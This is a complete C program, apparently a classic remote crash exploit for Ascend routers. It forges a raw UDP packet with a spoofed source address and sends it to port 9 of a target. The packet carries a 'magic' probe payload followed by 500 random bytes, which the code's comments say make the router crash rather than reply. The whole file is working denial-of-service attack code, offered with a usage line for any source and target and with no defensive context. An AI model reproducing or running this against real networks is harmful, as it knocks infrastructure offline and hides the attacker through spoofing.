#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <linux/udp.h>
#include <netdb.h>
#define err(x) { fprintf(stderr, x); exit(1); }
#define errs(x, y) { fprintf(stderr, x, y); exit(1); }
/* This magic packet was taken from the Java Configurator */
char ascend_data[] =
{
0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
0x50, 0x41, 0x53, 0x53};
unsigned short
in_cksum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
int
sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
struct sockaddr_in *sin;
unsigned short int s, datalen, sport, dport;
unsigned long int saddr, daddr;
char *data;
{
struct iphdr ip;
struct udphdr udp;
static char packet[8192];
char crashme[500];
int i;
ip.ihl = 5;
ip.version = 4;
ip.tos = rand () % 100;;
ip.tot_len = htons (28 + datalen);
ip.id = htons (31337 + (rand () % 100));
ip.frag_off = 0;
ip.ttl = 255;
ip.protocol = IPPROTO_UDP;
ip.check = 0;
ip.saddr = saddr;
ip.daddr = daddr;
ip.check = in_cksum ((char *) &ip, sizeof (ip));
udp.source = htons (sport);
udp.dest = htons (dport);
udp.len = htons (8 + datalen);
udp.check = (short) 0;
memcpy (packet, (char *) &ip, sizeof (ip));
memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
/* Append random garbage to the packet, without this the router
will think this is a valid probe packet and reply. */
for (i = 0; i < 500; i++)
crashme[i] = rand () % 255;
memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
(struct sockaddr *) sin, sizeof (struct sockaddr_in)));
}
unsigned int
lookup (host)
char *host;
{
unsigned int addr;
struct hostent *he;
addr = inet_addr (host);
if (addr == -1)
{
he = gethostbyname (host);
if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
return 0;
bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
}
return (addr);
}
void
main (argc, argv)
int argc;
char **argv;
{
unsigned int saddr, daddr;
struct sockaddr_in sin;
int s, i;
if (argc != 3)
errs ("Usage: %s <source_addr> <dest_addr>\n", argv[0]);
if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
err ("Unable to open raw socket.\n");
if (!(saddr = lookup (argv[1])))
err ("Unable to lookup source address.\n");
if (!(daddr = lookup (argv[2])))
err ("Unable to lookup destination address.\n");
sin.sin_family = AF_INET;
sin.sin_port = 9;
sin.sin_addr.s_addr = daddr;
if ((sendpkt_udp (&sin, s, &ascend_data, sizeof (ascend_data), saddr, daddr, 9, 9)) == -1)
{
perror ("sendpkt_udp");
err ("Error sending the UDP packet.\n");
}
}